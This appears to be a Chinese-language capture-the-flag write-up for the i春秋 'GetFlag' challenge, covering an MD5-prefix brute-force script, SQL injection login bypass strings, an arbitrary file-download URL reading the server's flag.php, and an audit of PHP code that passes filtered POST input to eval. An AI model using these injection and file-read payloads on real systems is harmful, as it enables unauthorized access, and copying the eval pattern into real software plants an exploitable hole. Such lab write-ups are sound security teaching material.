i春秋-GetFlag

题目



考点

sql注入,md5加密,代码审计,利用eval函数

解题

参考wp

复制代码
https://www.cnblogs.com/qiaowukong/p/13630130.html

找md5值

看见验证码中的提示,就是去找一个md5值前六位是指定值的数(严格来说不一定是数),白嫖大佬的脚本:

复制代码
# -*- coding: UTF-8 -*-
'''
@File    :GetFlag.py
@IDE     :PyCharm 
@Author  :M7
@Date    :2024/3/21
'''
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s):  # 计算MD5字符串
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = 'cd0bf6'   #已知的md5截断值
md5start = 0   # 设置题目已知的截断位置
md5length = 6

def findmd5(sss):    # 输入范围 里面会进行md5测试
    key = sss.split(':')
    start = int(key[0])   # 开始位置
    end = int(key[1])    # 结束位置
    result = 0
    for i in range(start, end):
        # print(md5(i)[md5start:md5length])
        if md5(i)[0:6] == keymd5:            # 拿到加密字符串
            result = i
            print(result)    # 打印
            break


list=[]  # 参数列表
for i in range(10):   # 多线程的数字列表 开始与结尾
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool()    # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

得到:

复制代码
11481707
26143897
75290163

测试sql注入

复制代码
admin' or 1=1--+
123
11481707

返回的界面有显示报错,那么就说明存在sql注入

接下来就是测试sql注入语句了

构造注入payload

复制代码
admin' or '1'='1



访问可疑文件

点击三个文件都能下载下来,但是只有一个a.php文件有利用信息,得到flag在网站的根目录下

那么利用前面下载代码的功能,把flag.php文件下载下来

下载文件

构造下载文件payload

复制代码
http://eci-2ze7er1y0cj85awr3unk.cloudeci1.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php

下载下来后,看到源码如下:

复制代码
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
		die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
		 eval("\$spaceone = $f");
}
catch (Exception $e)
{
		return false;
}
if ($spaceone === 'flag'){
	echo file_get_contents("helloctf.php");
}

?>

代码审计

16行的if判断为true时才会显示helloctf.php文件代码

变量$spaceone得在第10行得到运行

那么就得从第二行有一个post传参的功能入手了

第三行和第四行还对post传入的字符串进行了过滤

最终构造的payload为

复制代码
post传参

flag='flag';

改包发起请求

看到返回没有任何东西,那么在查看一下源代码,发现了有flag

提交flag

相关推荐
Bruce_Liuxiaowei2 小时前
2026年10月第3周网络安全形势周报
安全·web安全·网络安全
菩提小狗10 小时前
每日安全情报报告 · 2026-10-15
网络安全·漏洞·cve·安全情报·每日安全
梦帮科技17 小时前
Linux 内存取证学与 Rootkit 猎杀——Volatility 核心剖析与内核隐藏模块逆向清除
linux·运维·服务器·神经网络·算法·网络安全
梦帮科技18 小时前
Web 漏洞攻防深度:WAF 规则逃逸技术(畸形分块传输、双重编码)与对抗加固
linux·前端·网络安全·ssl·web
sbjdhjd19 小时前
从 preg_replace 规则到缓存绕过:一次授权 PHP 防护实验中的图片载荷、回调检测与哈希碰撞复盘
网络安全·数据挖掘·php·文件包含·宝塔·哈希·火绒
白帽攻防录19 小时前
SRC 挖洞:DHCP 服务器上的四个 UAF,内网原生 RCE 怎么打域管
运维·服务器·网络安全·内网安全
一支蜉蝣19 小时前
Day25 XD安全笔记 安全开发-PHP 应用&文件管理模块&包含&上传&遍历&写入&删除&下载&安全
笔记·网络安全·php
白帽攻防录20 小时前
SRC 挖洞:QUIC 协议栈双 RCE,HTTP/3 的新攻击面怎么挖
网络·网络协议·http·网络安全·http/3
墨云安全20 小时前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全21 小时前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化